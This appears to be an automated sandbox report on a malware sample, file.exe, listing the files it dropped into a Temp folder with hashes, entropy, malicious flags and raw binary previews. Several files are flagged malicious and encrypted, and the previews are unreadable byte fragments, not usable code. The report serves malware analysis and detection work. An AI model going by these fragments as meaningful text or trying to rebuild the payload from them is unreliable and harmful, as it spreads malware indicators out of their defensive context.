.@...F..H..H....U..SV.u.3.Wj._.~.....u...~..w%SW..Q...u......\|q...>3._

C:\Users\user\AppData\Local\Temp\Cargo

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	18432
Entropy (8bit):	6.691663107764293
Encrypted:	false
SSDEEP:	384:mGJT9CqmVP69SQaei6QzJ17uyevo9rfzzCunpyd3e0cTl3:HRHq6EQ1Q37uyevo9T6un8d3e0cTl3
MD5:	FEDD553B946D1D12BEC2021F12D522EB
SHA1:	B2EA727D3A7D655B813ED01DA1AF4E5AB6B255E4
SHA-256:	DE2A1B87D927F09729E356ECCE33D485FAD1C8AD8B47E079915311AEABDF5150
SHA-512:	4A03B4F729B80CB7D0E22DA7DFA70A96342AFD48924688FE768B90CBC0537F9CAC114A4CD49EE312709351582A175CC3E5B966C4C3C42762B7D4E46712EF657A
Malicious:	false
Preview:	.u....u..@D.t.j.....j.......YY;.t.W....YP..X.I...u...<.I.....3.W.....Y..............IL..D9....t.V....Y.....3._^].U..V.u..F..t .F..t..v...!...f.....3.Y...F..F.^].U..W.}...u..q...................G..........@........t... .G..........G......u.W..S..Y...G....w..w.W..:..YP.0.......G...................G..uQW.:..Y...t0W.:..Y...t$VW.:....W....x:.....Y.......IL.Y^.....K..@.$.<.u..O.. .........u..G..t..G.....u..G........O....A...............G..g....._].U..V.u...u.3..m.E...u..E~..j.^.0.......SW.}...t.9u.r.VWP.:......3..6.u.j.P.. .......u...~..j...9u.s...}..j"^.0.z.......j.X_^].j.h0.K..{..3.].u....u..}.....}.....................;5.QL........................IL...D8....u..F}... ..........;E...@u..,}... ..X}.........uV.(...Y.e......IL..D8..t..u..u.V.a............}..........\|... .....}..E.............(.u..}.V.s...Y..\|......\|.........d........z......U...(.E.SV.u.Wj.Y3..M.}..u.;.u..p\|...8.\|.........O.......0...;..QL...$................M.]....IL..D................v...\|...8.D\|.......

C:\Users\user\AppData\Local\Temp\Chase

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	62464
Entropy (8bit):	7.543408812032519
Encrypted:	false
SSDEEP:	1536:MIqIinTglynkQ3+EX0eomqewgMQjKy6xrnVRCOaD:MIqnnTJkQ3+FnkjKy65nV8R
MD5:	BFAA2C5440703CCE4E53FFFD52AA6B6E
SHA1:	8CA2E6F2E4D99106EDA9593332A66E0D68AEA86C
SHA-256:	CA514C2586DDFACFDCA3F141E45125D13E5E67C8D302335B37345D404A32F335
SHA-512:	3D6714C3094D3A4A4CA642CD4F22245624FFCCDF0FA081CB57C438521FC235F0239A3BCED8DDF0DA5BBDA59FF4C381809584ADC6066FEC16F249DA4DBEE9A9D8
Malicious:	false
Preview:	Ps....$.}..E..B..B.7.\|3r.Cx..l......A...=.6.U....".<.j....}j{=...k..4...3{.~..Nf..<...mI.#.../.d.f.YS...C.C.fb....M....Cb[..;..".....m...n...(.....64p....e.7....8q..Z.D.j..y`...6eG..~.S....;Q...).....};..v...Z..,.vm.Y#...\|..9.)...s.:O2...X.#n" ..0....?..<...011...~..../.C.6...$."..}._.....,.D.v..B....>...?..._..E.0..L..5;9-..=..z.i2.,.-t.+(b.#B.>...b.Ic..d.....@rY.`.....L.p....l..BX........W.t..43...%..K..5..A...k.X..'.....};u.)../..;....4..;-...)0eU..Tr....3e%...R......[........F./.T....P.X\|....%..E.\&.a.._.. .4.......b......]...czz..SS..js.....yQ.....)V.L..&B.Z.l>.u...{.....}.Y.>.S..C.O\|..1...%d.....b....C[.aL.)..l...b.#/D.)xQ.$..D.^K.!.;.....:.f..F.Ym....$...A4...\|A@.)B.`.oW.8.w'n..V..u..e4.-.T.....EcIC..b..]?.8.S.h5.8..xd......^..,Z....R[..s.).d..Ip.y..9+...4.Q....!...........&p.......c..........p6>.9.....$.1.Gp.2.q.TB>...._....l.z....m..g..d....:Ng1D .5`.\...1....0..n..E...dLs.......p7I2.=.?...u.M.$..K"6..[Q...!..~O..,.y..N..y....ql..

C:\Users\user\AppData\Local\Temp\Commercial

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	6.615428616509395
Encrypted:	false
SSDEEP:	768:S+ylIt0su0B4y+aZmzddtw1E1Yd5dArqsfGuYJhLgU:xylIusu0B4MmHtt1OPR
MD5:	EA57BBA9A44829EAEF8DE94A9F319E41
SHA1:	134B24A74937145A83501F1A303122ED85FD323B
SHA-256:	5A4BEBF9B3F9940254D11C700E3A6280D1BA1F5DEC767B3272E8F3B9B7C91765
SHA-512:	D1F4F1578B647B78B53CC036CDB9D24546276D8E562A7584AF01CB730684F57BCB88889666D4C56835963EE7D3F23E2E4292308EE36E3A3EA1DC344FEDDBF8EA
Malicious:	false
Preview:	M.PQ.u.............t...E.......w..$.^.A.jjXf..jpZ...j..E._....._^[..]......f.}.j!Yf+.f..f..(.......E..P.E....p..p...YYj!Yf;.tkf..#tef..%t_f..'tY3.M..t.P.M..Q.u....r..........x....``..jl.h.....Z........F.f;.t.f;E...p.......h...3..3.A.jk.4...jm.-.....A...A.P.A.P.A...A...A.W.A.W.A.U...<SVWjw..U.Y.E......E.....E.....E.....}......v..u...f;...X.........;..........;............e....x........{...e...E..P.E..p..=.....].YY................`...M...........n...b...G..u.U...3.+........d........e....m........o...e...E..;........F...+.r ..........".AB....z...;.r.}........3.@_^[..].....;.........n........*....K....f;E...2_..jwZ..A...Af9.t..u..U...W.u....................@dJ...C.U.jwY.....E...w....E...n...a....._........w0.u..E.;.t..u..G........+...3.@....2.......w..E.....E......u..}.........]..}.....t\|..K.....+......}\|......;..........@dJ...C.Q.....C..<C...@dJ...Cf9........u..u...V.u..........t...G.._..U.jwY.<Gf9.t......3.......C...Cf9.t............w....M..;...+..rc..U..

C:\Users\user\AppData\Local\Temp\Complicated

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	19456
Entropy (8bit):	6.869733776653667
Encrypted:	false
SSDEEP:	384:9xiVnoXM4INduLbbOxidDQxahM2I4kDehJ0IHnHV9:9UGM4INduPbOU+aI4kS9
MD5:	6D9B05A5C2B1B39C8D6881A1A4182AC3
SHA1:	6FBBF80020B4360D77BCF2C16623807FADDC0FFF
SHA-256:	9CB6E352686A2B502B8F99C62EBCFC0DA2E7700DABABA5EF6E19A495B8B45DAF
SHA-512:	983AC84D442DDE1DBBB4133C41C72A175A7FD7C9F8BB3079F4452AEF7D40C4547CCF76A7CE766A735C34A9529835215BD7FE1D40D774E575188C4AC170827791
Malicious:	false
Preview:	......=.{.ss..?VV&....=..#.k~.?[......<.......?vB.....<.6..#M.?...!..<.......?q_.w.#.<.....".?...R..<.......?k.=..C.=...B...?..._...<.u...r.?.y.....=.Dw.b..?.(,x.n.<.<".Q/.?...q.q)=..o\l.?.)...T&=..7a..?....L..<..?\|6..?.......?#.DZ9..?.......?../....?>6)}...?, .,...?......?M......?..x%q..?.. ....?/x.bJ..?.b....?.u....?(Z.....?..t....?{}.2F..?.......?_.2...?>.T.^..?.u.....?.......?4t..d..?...Z...?(......?WI..Y..?...d...?.{.....?\|...:..?..S9...?...s...?.......?....K..??......?l......?.Z.3...?..;E<..?.fSOs..?.J.Q...?.z.L...?...@...?{yK+;..?.j.h..?..F...?-(.....?.n.....?@..F...?....)..?.P..J..?C..Si..?..^....?..B....?i\|e....?.......?......?.a.k...?c......?X.!...?89.l!..?f.h.+..?....3..?)Ao.:..?.1(>..?..2:@..?>.?@@..?"I.r...?6..4...?..@...?.......?765@Z..?.&+-..?w.'....?...Q...?.Gp.t..?.2.&..?X..9..?B..q..?/.?....?v.....?..Mj$..?.3....?.s.....?.b...?V.....?.%..S..?V.....?.%@...?...U>..?2.,.\|..?..m...?V..k..?..9....?.I.@.\|.?..P.3y.?..?}>v.?..H\|As.?#...<p.?._.0.m.?t

C:\Users\user\AppData\Local\Temp\Continental

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	3758
Entropy (8bit):	7.955825944063038
Encrypted:	false
SSDEEP:	96:aruR5jb0WREDgxPm6gy7npbg5/0vWY4L81Igi:a6Pjb0WLvf7nc0vWBSdi
MD5:	E71DC861E5DA1647408163EF3A0A00BE
SHA1:	BF605EC917111BFFAF9C506E7B8BF6A40C57DD18
SHA-256:	F98EDD19223DB87BA0CDE9455D054913741745518AFF17E34E53BC17E7A730EB
SHA-512:	39348B90160C594D7A9CC7F2084FA6FBC8393D7BAFC824F803677576589E18F6257DD3DB601E6DC8FDC1F35AFB5F9115D9C0CAC086B0258A150047947F0CDEB9
Malicious:	false
Preview:	.>.....j# ............'.\<.n.i.3....n..FHK2....OJ...._.8..X32...f...C.R.k..dB..v.......u......."v\|.{g..0.. ...X9.B....T'..h ..0h....-..,..C..p.p7.w...d/.N3m.[Ql...:....>/...q...8..N.....=......Y`.D'E...+1t..(..k8e..~{y..r.=3LestB..T..;.V......CMF...=C77.)..p.T._hW[......!..C..m.y.Y........{...XM..q...;....._....x-s..p5m..R...Uo.\%z...~.h......r......!@.i.-...l.`<...AT..'..........._r =x.%IZ.j^Yo..)...].x4)XO.._.y..2#:V...H.^.TQ....p%z.b..1ly.....z...... qy...,D.q.j..w..@x.......?...(.?\....Wq.}...p.;:..a.3n.....\..\|9.7.6H... .M..C..ou....H.../3.....:.L....I.<..1..G.=b..pGMv-....f......=......K.F......%.......S...c/n/.4..G4..i;.Z...i4....... .....s;z...y..q)....49....P.6c.n......t....I...B....(..nr..!......d.ep..Z.'.4.#...^..u.Ur.....a....B.I%...'..?.<1.\....r%.,..M..Qu.9.K..Ax..o.K.\|A..~... .....2.x%.c.I.....Z.Gm.%zc..A..S..}xh..XsI.. ..t^w.....Y.+.........t.".&...p.,~R....9....v}....bym..."..z..m...5.G....z..`......C.(\|.R.~

C:\Users\user\AppData\Local\Temp\Cunt

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	52224
Entropy (8bit):	6.721792279852187
Encrypted:	false
SSDEEP:	768:pci1Q8I2jNxEte07EWGnikscax2OCkQuG4ypQ9Fsqib9futLZzWaIxyKw7nxZLL:pctpYuYtWGJG2kQyyy9FskzWaIxOvL
MD5:	38C1C76764BB42BD85591EA88523C88F
SHA1:	0FD62ED3B7007DBD9D1F52DCBEFE98F4AFC56109
SHA-256:	D31C36CF0644BD5C6A34E8FD46D659E8B51C16875EDA9C801AA1605C0C7A4806
SHA-512:	B2ABFCDD0176832347EA07CE0C6139EDD5690E809EC720F64F2AC078FF2E142678A235BE224E767E94E736E0577629903A6E8ABF31493121E7B692D92B1952B6
Malicious:	false
Preview:	...Y.F8;...L.t.P.?...Y.F<;...L.t.P.-...Y.F@;...L.t.P.....Y.FD;...L.t.P.....Y.FH;...L.t.P.....Y.FL;...L.t.P.....Y^].U..V.u...tY..;...L.t.P.....Y.F.;...L.t.P....Y.F.;...L.t.P....Y.F0;...L.t.P....Y.F4;...L.t.P.~...Y^].U..V.u.....n....v..c....v..[....v..S....v..K....v..C....v..;....6.4....v .,....v$.$....v(......v,......v0......v4......v.......v8......v<.......@.v@......vD......vH......vL......vP......vT.....vX.....v\.....v`.....vd.....vh.....vl.....vp.....vt.y....vx.q....v\|.i.....@.......[..........P..........E..........:........../..........$..................................................................................................................@...............................................\|..........q..........f..........[..........P..........E..........:........../..........$......................................@................................................................... .........$.........(.........,.........0.........4....\|.....8....q.....<..

C:\Users\user\AppData\Local\Temp\Do

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	118784
Entropy (8bit):	7.998284059375094
Encrypted:	true
SSDEEP:	3072:UMssvV4vNLNY06ZzDJohyv3HhxB0OaNGbH0DAhma2:UMsoV4vNL206ZxoaHv2GbUy+
MD5:	6AB85EADDAF4E2488D9B51A9F28D0D58
SHA1:	C5F7A2698202C7B0E2ECBA62312CA4C8CF73D687
SHA-256:	6C68BD290806A805B8041D8D0E39AA6FFD7A05FA8AC189E9082426D0FD4E0F2B
SHA-512:	584212549B2F5033FBF31D713C61FFB7D08613FDC184664B254B10A0D664F605C5BA08FCAA19361B9D4EA965E7C4A9F0F19C8D5F76743D011BF6A241420BFCE6
Malicious:	true
Preview:	....iD.Zbb8.F...cG..)..D....@#^...}Q.....v...j.Ic.}.k.RG$7u.Lu.....bQ.H......{n._......f:L.....e...z3..z...).6W.+x.K.X'...1Q\....h]..d_......3.B!n0N.;......'vN:."P._.'..3...T.'.....\|;\w..6.E4<...h..o..._OGrl..D..(.l#.tN..e.w.g..a.:.]..v.$.m)....pV.c.V....H..2,..........Ag.\.....}h..S...>+~....r.`.t....B`=..nM2.......r3YTW&...P..q.fK#rO.l.#.h.8.1.eSR{.Z8....3z...\...p'...S;&.H..u9v9..Hw...L...:.6.....#sQ55..d7D....^{<.4i...XYN.$?...f..............'Ov..;r...@....\|..4.N..U.T).vqX..O..z.I?..C.............B...Fj..4.9q%.PHq.@..Orz..fA..F........M...Z..':..pM.".8..u.&z+....K.p.#..3..B.?........j...wE..{.qZ..&'.(`k.D.<w..OBe. ...H=........<......6.f.(8H....f....w.n"..Aa..N..,............v.y..}C...,}.{.0.5.D....@.J.gQ.(...<r.P.x..d.s.b...;..h"!:.4P...^......a4.6....N......;O~...7q2.5.a....../..c...4/.UW$.\|...i..2.M.`.../@...Y>.'.!.uu..Gz.qW.*.7..P..r?P.ZU.....h..".....~..w.....Ob.F.c.W....GW.fL.@....n.6.?..~..W.B...6.T..j-........Y..-w..k....

C:\Users\user\AppData\Local\Temp\Dominant

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	44032
Entropy (8bit):	4.597301189780875
Encrypted:	false
SSDEEP:	384:dFr9LE/MpfhwHLWAkqLyH3Per2Wfn2HuboETcKiKjxq/l1qIvtx4MjNyREfP91uJ:zbAGWrT+UTcL4qHq25NKEHqJ
MD5:	FDB3D14466B9B2387E8B02566C9DB621
SHA1:	70CDBDE0DCE8600F31F3E40368502DE354D844EC
SHA-256:	1687C8DD55450BB3F0394A9281F8E1E0DF3CD099EBCC0CE2F3F7F3BA9168377B
SHA-512:	BA8CE08A439FE7ED38586EEEE80284A920B283719BD8F45A1B5D4358881AFC91AED367D92B86C5641A020F18CB711196D1A41D3EDE7321D6BAFA9CE375CB0C54
Malicious:	false
Preview:	.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.............................................................................................................................................................................................................................................m.m.m.m.m.m.m.m.m.m...............................................................................m.m.........................................................................................................................o...h.h.h.........o.o.o.o.o.................h.h.h.h.h.h.h.h.....h.h.h.h.h.h.h.............................................................h.h.h.h.................................................................................................m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.!.!.!.!.!.!.!.!.!.!.!.!.!

C:\Users\user\AppData\Local\Temp\Dot

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	118784
Entropy (8bit):	7.998424759930466
Encrypted:	true
SSDEEP:	3072:x5elz8x3tO8AYgqFsky9Xw4pSaZIxmkHxF8dGaFbBKSJrt67:x5ehf84xAu8FibB12
MD5:	77995F715C403DCD4CCF89049CF4EC9A
SHA1:	180138BCE5A754377D02BAA150B1A2AA3227AA66
SHA-256:	DF7A9B1DE6C174CA4CB900DE129A6479B7BADFDD6BB38ACDC0B858FA918296CE
SHA-512:	DBC3552BB31FC7B4161B2068536358744ABA5B96F15D37E7713ECAFBD41A57564D3A7FA450848AF132BC8B018F7A0EAB0AF7081660436BBF806F1C997295E499
Malicious:	true
Preview:	....^..... ..8.l...b.......MSF.LHs....?.c(.n...jD..U.g..wg-jJ.YR.B....c49)...N.A$.$.C.....m>...N...@^Z./....g.D.....HR...>..=%.\..Op3Ta.j..f#....M.._..<r....J.b..0..K...eK.G....c..}.....`.......t/_.'..>y^6...p=.g....."2.......N;J-[..:..R...V.g...e!.;H..3....c..~/n.!...{P.;.;..<`...........>.~n..c. ...~.A....~.G.C.K.8..Wl....CF.h.w;.ovH\\{k..V.v.O)...z.L......V.no.[....E.)e.6N.Q.}..W6...p.?.Q...........`.5..Xw..q....!.n`.....{`U.O1.'.@.jS..2...vD. ......R.t.8K....(.11.+(,C.....t7..!......).h.X...u...6.e...`.o(......y..U."...^}<.....O......v!}.6........ .R./.^/B.=;.I].d....v.dQ.:.^.B.7.iuf...._.3.;q......g..K}.......Z....8.W.....te...6...YT..9..<.....).L....l....E.R..Up.q...Xs..E..1,./+W ...5..C-(.P=.?}D.L...f.\....S.0H.~.....p..DZ...W0z....fT.........h..#,...f...+~X...m....j*+8....I.%......pAp`.b...=.)./.s.I.^c./..D....z.....PB..\|....e.<3}E..%.mh._C.QN..b\.....u .........`hr...}n.Bg)ir..J.(....}.#...%.H.W....bK,)o........X

C:\Users\user\AppData\Local\Temp\Essential

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	25295
Entropy (8bit):	7.112591200550005
Encrypted:	false
SSDEEP:	384:RF3XyaqdXE9m/D57OMPJ70YXZg4eVv76AzqmopEitriaIKJ7775i:DiamE9w97OUg4eVDqp8VQ7A
MD5:	F3D2240536D346EDE33EAD541A01507F
SHA1:	92C0AD2A842746EF054AA82EF49B6B7D06D8D3AA
SHA-256:	0632948564C0E8DC58B8F4737800AE39E07D068CB12F1947A13617D1C2ACEEEC
SHA-512:	28C5F0D7166FBACA03BEA92BD3E20E62DB5E50717E1DE049FFC136E29659D9133EE35FBBE61109027B328C62005B1EE53E452338630E1BE9F295D81CA638E600
Malicious:	false
Preview:	7.7.8.8.8!8+82868<8@8F8P8Z8d8n8u8y8.8.8.8.8.8.8.8.8.8.8.8.8.8.8.8.8.8.8.9.9.9.9#9-979>9B9H9L9R9\9f9p9z9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.:.:.:.:.:.:%:/:9:C:J:N:T:X:^:h:r:\|:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.;.;.;.;.;!;';1;;;E;O;V;Z;`;d;j;t;~;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.<.<.<.<#<)<-<3<=<G<Q<[<b<f<l<p<v<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.=.=.=$=+=/=5=9=?=I=S=]=g=n=r=x=\|=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.>.>.>.>&>0>7>;>A>E>K>U>_>i>s>z>~>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.?.?.?.?.?.?(?2?<?C?G?M?Q?W?a?k?u?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?....l....0.0.0.0.0 0*040>0H0O0S0Y0]0c0m0w0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.1.1.1"1&1,161@1J1T1[1_1e1i1o1y1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.2.2.2$2(2.22282B2L2V2`2g2k2q2u2{2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.3.3.3.3)30343:3>3D3N3X3b3l3s3w3}3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.4.4.4.4!4+454<4@4F4J4P4Z4d4n4x4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.5.5.5.5.5#5-575A5H5L5R5V5\5f5p5z5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.6.6.6.6.6.6%6/696C6M6T6X6^6b

C:\Users\user\AppData\Local\Temp\Expenses

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	70656
Entropy (8bit):	5.132172688294856
Encrypted:	false
SSDEEP:	768:4EusWjcdeDvFQC7VkrHpluuxdCvEHKKgItUHiGx:vusWjcdmQuklluhvEHKxiy
MD5:	BD04D29E806BE650CAC9DA9DB66902F6
SHA1:	3CC3A75B14D6C604C50794C68E42EB3698BB653B
SHA-256:	AFCAE4CED560841B02A0A2464581214E2F7CA95D1617F690E5D2CF905C7AB1AD
SHA-512:	5CC1345A86CC9977EFAC824AFA4AF33C8DD447ED2401C09A3819A3F672C69F1B7A26013DB8F1D1D81036562CD267ED7212732FD8A64F0D855099FA49C72D44AD
Malicious:	false
Preview:	.....J.@.....J.A.....J.C.....J.D.....J.F.....J.G.....J.I.....J.J.....J.K.....J.N.....J.O.....J.P.....J.V.....J.W.....J.Z... .J.e...(.J.......I.....0.J.....<.J.....H.J.....X?I.....T.J.....`.J.....l.J.....x.J......BI.......J.......J.......J.......J.......J.......J.....4?I.....L?I.......J.......J.......J.......J.......J.......J.......J..... .J.....,.J.....8.J.....D.J.....P.J. ...\.J.!...h.J."...t.J.#.....J.$.....J.%.....J.&.....J.'.....J.).....J.*.....J.+.....J.,.....J.-.....J./.....J.2.....J.4.....J.5...(.J.6...4.J.7...@.J.8...L.J.9...X.J.:...d.J.;...p.J.>...\|.J.?.....J.@.....J.A.....J.C.....J.D.....J.E.....J.F.....J.G.....J.I.....J.J.....J.K.....J.L.....J.N...$.J.O...0.J.P...<.J.R...H.J.V...T.J.W...`.J.Z...p.J.e.....J.k.....J.l.....J.......J.......J.....@?I.......J.......J.......J.......J.......J.......J.......J.......J.....$.J.....<.J.,...H.J.;...`.J.>...l.J.C...x.J.k.....J.......J.......J.......J.......J.......J.......J.......J.;.....J.k.....J.......J.....(.J.....4.J.....@.J.....L.J..

C:\Users\user\AppData\Local\Temp\Extreme

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	190464
Entropy (8bit):	7.9990724050012325
Encrypted:	true
SSDEEP:	3072:4m4T2qLQzq0juJ6g+ClJcja2WANwIgN8kVfH4eaieaF0A0FLT0j8ZDxdo338K8Y/:4m48q0juJB7c1bSISTVon5A0LbDxK38+
MD5:	BBAE7BC5EDA50F036B04EC89345013FE
SHA1:	6E66CB41EE031A56EE9F26A9E5CB3BFE2A3E8506
SHA-256:	0E4B895452432EA52A607215126635ABD4C4D1C3000514ECF469AD436A3386B0
SHA-512:	EB4B571A7EDF6315F0AC2C1D8D82B9CB6E69E11CDBD27D6002906F0C3A2EC46AF853440BFA73947D0C6BE2079ECBD0F9458A67B9716176718EF4261DE93FA4E1
Malicious:	true
Preview:	.."^:...W....}...b..rr.lq...0..0...$.7.8......;.....s...K0Oiyn9i;he,....^.2{n.........YeT.kV.......o ....k.9.;...f..r>R.v.\|.....EW.X.....~M..K..Mf1@.PN...s#....2e.....H...a.......Y.}.....L.9..j&.F...dYa}tKV...X....2"..V.U.z...%.......[..S.i....U.V.1Q..\|.=..O.......F^.n.Ia......i_..N%uIW...x...V.]..-..}H....w....K@Y.)..?M...g4I.\|..6\|u$BR.l.1GY.9x:-....o%...........e...<@s...e~....IY..^..$$....{...........2..xo...I.%g..jE..z....,.WQm..o.w.,s...%......)Dy..'.k-...a.9..o....F..+...E..M.GpV.Mh.L..T#hsmZ.C<.}v.3...ft..s.....^O....u....P..d....C..^.....>C........A.uX.W.W`.f.....7...]....Kb....b5..s.....q....4E9g..8..?.g;}.......e~.4.y;..mg. ....B.).....+,...>z.....esF.u...6.......!.>.:..K,.X..Aa.a9U.I: R$m.....L....Z..`..1..$.R*(..8.+l.=.r...Y..V..........W..2...`.Oeb.py...c..b.b.q$.f.G........L.@r;6w.=.A.f......AeF.>6./.a%g#.E.(....E...a$...MU.o:hC..Wzmj,.....\|....]n.:n.J[$_....E...\|C.F.5..P..T.C...:...W.6..tZ...C..r.ON}s...{.E....i".\|.j..

C:\Users\user\AppData\Local\Temp\Gnome

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	25600
Entropy (8bit):	7.993076022465265
Encrypted:	true
SSDEEP:	768:6yZJ0JLh1lQp/AFNe6HB69aOvWb7ySab4:ZELhnQp/ADB69aZ7ySY4
MD5:	0D9D0CCE12A847CEAC006649D0CF553A
SHA1:	8E8DF91ECFE20E2B3B879B912489103AA48A6B01
SHA-256:	988AAB32EF469675E795EC46BCBF1AFB45313DF9E6C064D6351CA9CDF23B82AA
SHA-512:	6EB96CE9636D7548FFBDC66545AE57EA079B661D11594C0861C4131389829AAE25BF9A05F32959F508ECB6ADE31AC3940A54A63E3851881937756CB739D9FB15
Malicious:	true
Preview:	.A.'....C..!...+.bw....o.r~.$.p4...B\.t.j....nh.zr..i.v.......n...Co..V.ru.~.$....9wr%.IXw.......8...~...L5)...A.....rm.3.t6=~.0.k.....c.......J....R.Y...\|....Yw.........w...O~..9....v......t..<.d:`.....K..R}....-....T."...T..o..\|.n..L..q..9...~...vw...4{.c-....l..d.4.=[...=...=0U......h..".L:.7...x.kw..f"..._.<.I.l._...".-6...x....'2...X<....8 ...i...........!H+./.0.J...........O..N.bGan..E......E...?...'.B.S.m.P.8w}....-.X(...w.Z.i........d.J.u9.p...yc.x`.$.,.{q.F..~b.I...<.z.u...&H....vhf.RuL.Y.nx.v.......]F..E.."..t.{.:.<X.A...IzX........M..-....7.5.....M...-.g........F.m.].v`./..W...(...ow4....j.*.}....._....Z.1.z.....[.h...\s$.6.ZlF.!.....{..@j..........\dS`.q....`......H@..>..Xd.o.z1I(.co._...b.8K.).s.X./cG.%.9g.....L~\...^M4.=..w.%..k.\|.D..n.l.,`.........ul<...n2....N.e.b.Xu.......(.'.....`mn.../y............u.@4\|.).)2.-....-.+..JG.@....g.E....M.FbH....D...3w....K\lyO$../..\2..2+........E....-....9....+.i&+;.......OI

C:\Users\user\AppData\Local\Temp\Halloween

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	2.5460981119251183
Encrypted:	false
SSDEEP:	192:/A48PQh+NEpCarucTE6QZSSYA13KcqIb/rvOLHYBa1Q319sx9kaxCVt:/3pMygarucTQ0Snh3HvOLw/319stEP
MD5:	9652AD34F2C8F89FB8C7B44CF5432ACB
SHA1:	490AE667C1107418F58671AAA1B7EC2984826966
SHA-256:	00FAE750349334CB1A1568976EB68C8E3AD1BE18C9583EA8493EE8BF42D6E799
SHA-512:	632BA57B60BB60399CE59D8B5CE46549C79216ABA9FCA9B951366234AE809C3090F31C23755B8B41E98851F88DDD59E9306B09C4B501F9252641F5BDA1E332D6
Malicious:	false
Preview:	y..3.PeekMessageW....TranslateMessage....DispatchMessageW....LockWindowUpdate..].GetMessageW...BlockInput..&.OpenClipboard...IsClipboardFormatAvailable....GetClipboardData..I.CloseClipboard..V.CountClipboardFormats...EmptyClipboard....SetClipboardData....SetRect...AdjustWindowRectEx..T.CopyImage...SetWindowPos....GetCursorInfo.V.RegisterHotKey..G.ClientToScreen..A.GetKeyboardLayoutNameW....IsCharAlphaW....IsCharAlphaNumericW...IsCharLowerW....IsCharUpperW..X.GetMenuStringW..z.GetSubMenu....GetCaretPos...IsZoomed....MonitorFromPoint.._.GetMonitorInfoW...SetWindowLongW....SetLayeredWindowAttributes....FlashWindow...GetClassLongW...TranslateAcceleratorW...IsDialogMessageW..{.GetSysColor...InflateRect...DrawFocusRect...DrawTextW...FrameRect...DrawFrameControl....FillRect..@.PtInRect....DestroyAcceleratorTable.X.CreateAcceleratorTableW...SetCursor...GetWindowDC.~.GetSystemMetrics....GetActiveWindow.1.CharNextW.3.wsprintfW.J.RedrawWindow....DrawMenuBar...DestroyMenu...SetMenu...GetWindowText

C:\Users\user\AppData\Local\Temp\Hdtv

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	21504
Entropy (8bit):	6.6424670756329
Encrypted:	false
SSDEEP:	384:0cgT2k9eZM0/1zbE1PJcF8ufnpZ9aBXYrxzDZJgs/ZN/EyFpdf:EF9OR7F8ufnz4kVDZxj/z
MD5:	1913A68E92C714BEB7BE51AFE0181551
SHA1:	F70635B43C6DA3A1FE1035BC7E8DE3F31CBDBFA4
SHA-256:	29FCD2B344F47F918B77848BA0060E479DF490098F6176DED49A963D6993A831
SHA-512:	830A6379726DF38D974E6D7BF005C683DE903D8454037EA417B79E144347CA635B0C66C97D20E409AA49C15A8BB4B8D128EE9CFD66DC174683993A2F44E11BB9
Malicious:	false
Preview:	..D$.^_..$....W...................te..$.....f.o.f.oN.f.oV f.o^0f...f..O.f..W f.._0f.of@f.onPf.ov`f.o~pf..g@f..oPf..w`f...p............Ju...tO.......t.......f.o.f....v....Ju...t*.....t......v....Iu....t.....FGIu.......X^_..$.............+.+.Q.....t.....FGIu....t......v....Hu.Y.....U..U.. .K...M.#.#M.... .K.]... ....t.j...!..Y.. .K..t!j.../....t.j.Y.)j.h...@j.........j......U..E...AL.].U..E....>I....A....A..]...U..V.u...f.....>I..F.........^]......>I.....U..VW.}...;.t.........t..w....5......G..F._..^]...U..V.....>I..R....E..t.V.....Y..^]...U..}..S..t-W.u.......x.W.....C.YY..t..u.WP.M.......C.._[]...V..~..t..v.....Y.f...F..^.A...u...>I..U... VWj.Y..>I..}..u..}...t....t......Q...p..P .}..u...t....t..E..@...E.P.u..u..u...@.I._^..]...Q.. 